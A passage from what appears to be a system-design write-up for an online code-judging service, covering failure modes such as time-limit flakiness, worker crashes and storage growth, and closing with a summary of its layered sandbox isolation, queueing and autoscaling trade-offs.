8. Flaky verdicts near the time limit. A correct-but-borderline solution gets TLE from host load, not its own slowness. Fix: measure CPU time from the kernel (load-independent), run official judging on CPU-pinned, low-contention workers (bounded concurrency per core), and pin runtime versions/flags for determinism. Separate the strict judging pool from the best-effort scratchpad pool.

9. Worker dies mid-submission. A crashed or recycled worker holding an in-flight judge batch. Fix: queue visibility leases with heartbeats - no ack means the task is redelivered to another worker (at-least-once execution; runs are pure/idempotent since sandboxes are fresh, so re-running is safe), with an attempt cap -> internal_error so a submission that keeps crashing workers (a worker-killing poison input) stops after N instead of cycling forever.

10. Control plane or queue as a single point of failure. If accept/dispatch dies, nothing runs. Fix: a stateless, horizontally-scaled, multi-AZ control plane behind a load balancer; a durable, replicated, partitioned queue; a replicated SQL store. No single node is on the critical path; the queue’s durability means a control-plane blip delays but does not lose submissions.

11. Hot problem / hot language skews the warm pool. A contest on one language leaves other warm pools idle and that one starved. Fix: size warm pools per language by live demand, refill adaptively, and let autoscaling shift worker capacity toward the hot language. Over-provision warm slots modestly for the languages a scheduled contest will use.

12. Result-storage growth. Tens of millions of submissions/day with per-test rows and logs. Fix: keep recent submissions + compact verdicts hot for queryability; offload source and verbose per-test logs to object storage; TTL/archive old submissions and roll detailed history to cheap cold storage, keeping only the aggregate verdict hot long-term.

Wrap-Up

The trade-offs that define this design:

  • The control plane never runs code; the worker never trusts it. A normal stateless web tier validates, persists, enqueues, and serves status; all danger is pushed onto disposable sandboxes on hardened, isolated workers behind a durable queue. This split is the whole design - it keeps the dangerous part contained and independently scalable.
  • Isolation is defense in depth, not one fence. A strong per-run boundary (gVisor or microVM), full namespace/cgroup/seccomp hardening, single-use disposable sandboxes, and a credential-less, network-isolated, recycled worker together ensure that a single escape yields a stripped throwaway box, not a cluster pivot. We assume each layer can fail and make failure small, because untrusted internet code is an arms race, not a solved checkbox.
  • The kernel enforces and measures limits, never user space. cgroup caps stop resource bombs atomically, CPU-time measurement makes judging fair and load-independent, and a wall-clock watchdog that kills the whole cgroup is the backstop that always reclaims the slot.
  • Startup is the latency, so amortize it. Warm pools and snapshot/restore give microVM-strength isolation at tens-of-ms startup; compile-once and cached test cases/images remove the other repeated costs - turning the engine from “mostly building sandboxes” into “mostly running code.”
  • The spike is the load, and it is bursty by nature. Contests make submissions arrive 50-250x above average in seconds; priority lanes keep interactive runs fast, per-tenant fair queuing stops monopolization, fan-out parallelizes a submission, and a buffering queue with depth-based autoscaling turns the burst into bounded latency instead of a stalled or starved system.

One-line summary: a stateless control plane that validates and enqueues submissions, a durable priority-and-fair-share queue that buffers bursty contest load, and an autoscaled pool of hardened, credential-less, network-isolated workers that run each untrusted submission in a disposable gVisor/microVM sandbox under kernel-enforced CPU/memory/pids limits with warm-pool startup - where host safety comes from layered isolation plus a one-run blast radius, fairness comes from per-tenant weighted scheduling, and speed comes from snapshot-restore and caching everything static off the hot path.